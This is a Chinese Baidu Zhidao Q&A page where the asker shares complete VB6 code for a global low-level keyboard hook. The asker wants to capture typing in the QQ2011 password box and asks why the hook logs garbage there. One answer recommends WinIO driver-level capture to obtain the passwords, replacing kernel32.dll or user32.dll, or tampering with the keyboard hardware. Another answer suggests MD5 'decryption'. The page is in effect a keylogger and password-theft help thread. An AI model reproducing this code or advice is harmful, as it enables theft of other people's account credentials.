如何利用VB HOOK钩子正确监视含有鼠标闪烁(就是"|"形状的鼠标指针)的窗口输入

我做了一个VB钩子,利用setwindowshookex()函数监视键盘输入,这里以QQ2011窗口为例子做测试:当我运行键盘钩子程序时,账号输入框能正确监视输入,但点击... 我做了一个VB 钩子,利用setwindowshookex()函数监视键盘输入,这里以QQ2011窗口为例子做测试:当我运行键盘钩子程序时,账号输入框能正确监视输入,但点击密码输入框时,即使不做任何键盘操作,每当鼠标指针闪烁一下,键盘钩子程序却会自动乱记录一个码,为什么会这样?能解释一下吗,以下是我所写的程序原码,应该如何修改:
'以下是窗口运行代码
Private Sub Command1_Click()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)
End Sub
'以下是函数声明过程
Option Explicit
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const WM_SYSCHAR = &H106
Public Const WM_SYSCOMMAND = &H112

Public Type KEYMSGS
vKey As Long
sKey As Long
flag As Long
time As Long
End Type

Public keyMsg As KEYMSGS
Public hHook As Long
'以下是函数功能实现过程
Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim lKey As Long
Dim strKeyName As String * 255
Dim strLen As Long
Dim strtext1 As String
Dim strtext2 As String

If idHook = HC_ACTION Then
CopyMemory keyMsg, lParam, LenB(keyMsg)
Select Case wParam
Case WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP
lKey = keyMsg.sKey And &HFF
lKey = lKey * 65536
If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then
strLen = GetKeyNameText(lKey, strKeyName, 250)
Else
strLen = GetKeyNameText((lKey Or &H1000000),strKeyName,250)
End If
strtext1 = keyMsg.vKey
Form1.Text1.Text = strtext1
strtext2 = Left(strKeyName, strLen)
Form1.Text2.Text = strtext2
End Select
End If
CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam)
End Function
展开
 我来答
hmlky
2011-05-11 · TA获得超过1369个赞
知道小有建树答主
回答量:239
采纳率:0%
帮助的人:365万
展开全部
用SetWindowsHookEx拦截QQ密码框,这个我也试过,拦截的是乱码。
原因据说是QQ用了nKey键盘保护。
QQ2011版的我没有试过,10版的我试过,用WinIO可以拦截密码。
不过WinIO加载了驱动,360会有提示,用DirectX监视键盘也拦截不下来。
谁知道11版的WinIO还管事不?,你可以从网上下一个WinIO。
WinIO包含一个库文件,一个动态链接库文件,一个驱动文件。

我告诉你个天下最好的办法吧:
1.将Kernel32.dll或者user32.dll替换成你的。
2.在键盘这个硬件上做手脚。
ackli
2011-05-09 · 超过10用户采纳过TA的回答
知道答主
回答量:23
采纳率:0%
帮助的人:30.8万
展开全部
呵呵,这个嘛,如果你这么容易就能成功的话,那根本谈不上密码安全问题了。这类似的我也试过。我也以QQ2011为例,如果你能知道腾讯公司对QQ密码加密原理,那么你可以在你的代码中加入解密程序就行。告诉你,好多的密码加密程序都 是采用MD5加密原理,你可以去网上下载一个VB程序的MD5加密代码看看。这个我想只有腾讯或电脑顶级高手才能帮助你了。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式